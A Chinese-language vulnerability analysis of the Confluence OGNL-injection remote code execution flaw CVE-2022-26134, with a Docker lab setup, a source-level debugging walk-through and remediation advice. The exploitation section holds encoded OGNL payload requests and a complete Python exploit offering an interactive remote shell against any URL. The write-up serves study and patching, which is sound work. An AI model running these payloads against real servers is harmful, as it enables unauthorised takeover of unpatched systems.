文章

Atlassian_Confluence_远程代码执行漏洞(CVE-2022-26134)

Atlassian_Confluence_远程代码执行漏洞(CVE-2022-26134)

1 漏洞简介

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,可以用于企业团队共享信息、文档协作、集体讨论,信息推送。

2022年6月3日,知道创宇404实验室通过创宇安全智脑监测到Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。

OGNL是一种功能强大的表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

2 影响范围

Confluence Server&Data Center ≥ 1.3.0 Atlassian Confluence Server and Data Center <7.4.17 Atlassian Confluence Server and Data Center <7.13.7 Atlassian Confluence Server and Data Center <7.14.3 Atlassian Confluence Server and Data Center <7.15.2 Atlassian Confluence Server and Data Center <7.16.4 Atlassian Confluence Server and Data Center <7.17.4 Atlassian Confluence Server and Data Center <7.18.1

3 环境搭建(建议使用内存和cpu核心较高的服务器避免卡死)

3.1 导入docker image

1
2
docker load -i polarvul_confluence_cve-2022-26134.tar
docker load -i postgres.tar

3.2 更改镜像名称

1
2
docker tag cfbc60f8430d polarvul_confluence_cve-2022-26134:web
docker tag c6e4993aa6eb postgres:sql

3.3 启动容器

1
2
3
docker run  -d  -p 8090:8090  --name polarvul_confluence_cve-2022-26134 polarvul_confluence_cve-2022-26134:web

docker run --name postgres -e POSTGRES_PASSWORD=postgres -e POSTGRES_DB=confluence -p 5432:5432 -d postgres:sql

3.4 访问并申请试用

image-20221004120038041

申请试用需要注册账号和绑定邮箱以及验证等操作。

image-20221004120413028

获取密钥

image-20221004120506975

下一步

image-20221004120548959

连接数据库

image-20221004133352890

image-20221004133423479

image-20221004133441796

填写相关内容

image-20221004133458436

image-20221004133615955

3.5 搭建成功

image-20221004133808389

4 漏洞分析

docker-compose.yml

为了方便调试,增加一个调试端口映射5050端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

docker-compose up -d

环境起来后,进入容器内部

通过 ps aux 和 ps -le 可以确定源码位置和父进程

源码位置为:/opt/atlassian/confluence

父进程为: /usr/bin/tini – /entrypoint.py

通过docker cp 从容器里面拷贝文件/目录到本地一个路径

1
2
$docker cp Name:/container_path to_path  
$docker cp ID:/container_path to_path

然后通过 IDEA 引入并增加相关依赖

image-20221006230949249

编辑调试环境,复制实参会用到

image-20221006231649932

进入容器 /opt/atlassian/confluence/bin/目录下

image-20221006231220509

由于当前环境没有安装 vi/vim 所以添加一下 apt 源 然后更新一下

1
2
3
sed -i s/archive.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && sed -i s/security.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/partial/* && apt-get clean && apt-get update && apt-get update -o Acquire::No-Cache=True

apt update && apt install -y vim

然后vim setenv.sh加入刚刚复制的实参

image-20221006231552447

然后运行根目录下的 shutdown-wait.sh 文件将 confluence 关掉,然后重启一下即可

payload

1
2
3
4
5
6
7
8
9
GET /login.action/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.157.138:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: confluence.browse.space.cookie=space-blogposts; JSESSIONID=5F4E90D9120DBBD2BE3C15012420DD22
Upgrade-Insecure-Requests: 1

在源码路径:image-20221006193426977

下断点,抓包发送payload。

在 this.serviceAction 中通过 this.getNameSpace 和 this.getActionName 来处理请求中的路由和端点

image-20221006193541952

this.getNameSpace 会将 servletPath 获取从0到最后一个 / 的路径

image-20221006194651865

也就是获取我们 payload 的部分

1
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

image-20221006195820039

this.getActionName 会获取我们的端点部分,从 / 开始到最后一个 . 之间的值,也就是获取到 index

image-20221006200158609

最终获取到的 action 也就是 index

然后在 serviceAction 中首先会根据传入的 namespace 、action 、requestMap 等参数创建一个代理对象

image-20221006210146413

payaload存放于 namespace 变量

image-20221006210339065

然后调用代理对象的 execute 函数,在 execute 函数中主要是调用了 this.invocation.invoke();

也就是拦截器的 invoke 方法,并返回一个 code

image-20221006221138941

跟进查看 invoke 方法,发现在 invoke 方法中会迭代 interceptors

image-20221006221248691

this.interceptors 是一个存放拦截器的列表,然后通过遍历 this.interceptors 来调用拦截器中的 intercept 方法

然后如果 this.proxy.getExecuteResult() == true 就会执行 this.executeResult()

image-20221006221611717

首先需要知道 this.proxy.getExecuteResult() 是从哪设置的,查看堆栈可以发现在最开始创建代理对象的时候默认设置的为 true

image-20221006222735256

在 executeResult 里面可以看到首先通过调用 this.createResult() 获取了 result

image-20221006223020929

跟进 this.createResult 函数,在函数中根据之前的 resultCode 从表中获取对应的结果

image-20221006222930137

接着就会将 自身 作为参数传入到 execute 函数

image-20221006223119273

在 execute 中会通过 TextParseUtil.translateVariables 函数来将 namespace 进行变量转化

image-20221006223252589

在该函数中,造成了 OGNL 表达式的触发,并且传入的 namespace 可控 造成 RCE

image-20221006223406598

5 漏洞利用

5.1 payload

1
2
3
4
5
6
7
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

5.2 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import urllib.parse
import urllib3
import sys
import base64
import requests as req

urllib3.disable_warnings()


def poc(target: str) -> bool:
    ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",1)}"""
    payload = "/%s/" % (ognl_expr)
    try:
        resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), verify=False, allow_redirects=False)
        return True if "X-Confluence" in resp.headers.keys() else False
    except Exception as e:
        return False


def exp(target: str, cmd: str) -> str:
    ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,101,113,61,80,97,99,107,97,103,101,115,46,99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,119,101,98,119,111,114,107,46,83,101,114,118,108,101,116,65,99,116,105,111,110,67,111,110,116,101,120,116,46,103,101,116,82,101,113,117,101,115,116,40,41,59,13,10,118,97,114,32,99,109,100,61,114,101,113,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,115,101,97,114,99,104,34,41,59,13,10,118,97,114,32,114,117,110,116,105,109,101,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,59,13,10,118,97,114,32,101,110,99,111,100,101,114,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,66,97,115,101,54,52,46,103,101,116,69,110,99,111,100,101,114,40,41,59,13,10,101,110,99,111,100,101,114,46,101,110,99,111,100,101,84,111,83,116,114,105,110,103,40,110,101,119,32,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,83,99,97,110,110,101,114,40,114,117,110,116,105,109,101,46,101,120,101,99,40,99,109,100,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,41,46,117,115,101,68,101,108,105,109,105,116,101,114,40,34,92,92,65,34,41,46,110,101,120,116,40,41,46,103,101,116,66,121,116,101,115,40,41,41))"))}"""
    """
    js code:
    var req=Packages.com.opensymphony.webwork.ServletActionContext.getRequest();
    var cmd=req.getParameter("search");
    var runtime=Packages.java.lang.Runtime.getRuntime();
    var encoder=Packages.java.util.Base64.getEncoder();
    encoder.encodeToString(new Packages.java.util.Scanner(runtime.exec(cmd).getInputStream()).useDelimiter("\\A").next().getBytes())
    """
    payload = "/%s/" % (ognl_expr)
    params = {
        'search': cmd
    }
    resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), params=params, verify=False,
                   allow_redirects=False)
    return base64.b64decode(resp.headers.get("X-Confluence", "")).decode()


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python %s http://example.com/" % sys.argv[0])
        exit(0)
    target = sys.argv[1]
    print("Target: %s" % sys.argv[1])
    print("Checking target is vul...")
    if not poc(target):
        print("[%s] is not vul." % target)
        exit(0)
    else:
        print("[%s] is vul!!!" % target)
    while True:
        command = input("$ ")
        if command == 'q':
            print("quit.")
            exit(0)
        else:
            print("Execute command: %s" % command)
            print(exp(target, command))

image-20221006224510576

6 漏洞修复

6.1 修复方法

1、升级最新版本:

官方已发布最新版本,建议用户升级Confluence到官方最新版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1,以保证服务的安全性及稳定性。

下载地址:https://www.atlassian.com/software/confluence/download-archives

2、临时缓解方案:

如无法立即进行升级,可通过下载Atlassian官方jar包替换的方式作为临时缓解措施,Atlassian根据客户的Confluence版本提供了临时解决方法说明。

6.2 修复过程

image-20221006225649992

image-20221006225755783

本文由作者按照 CC BY 4.0 进行授权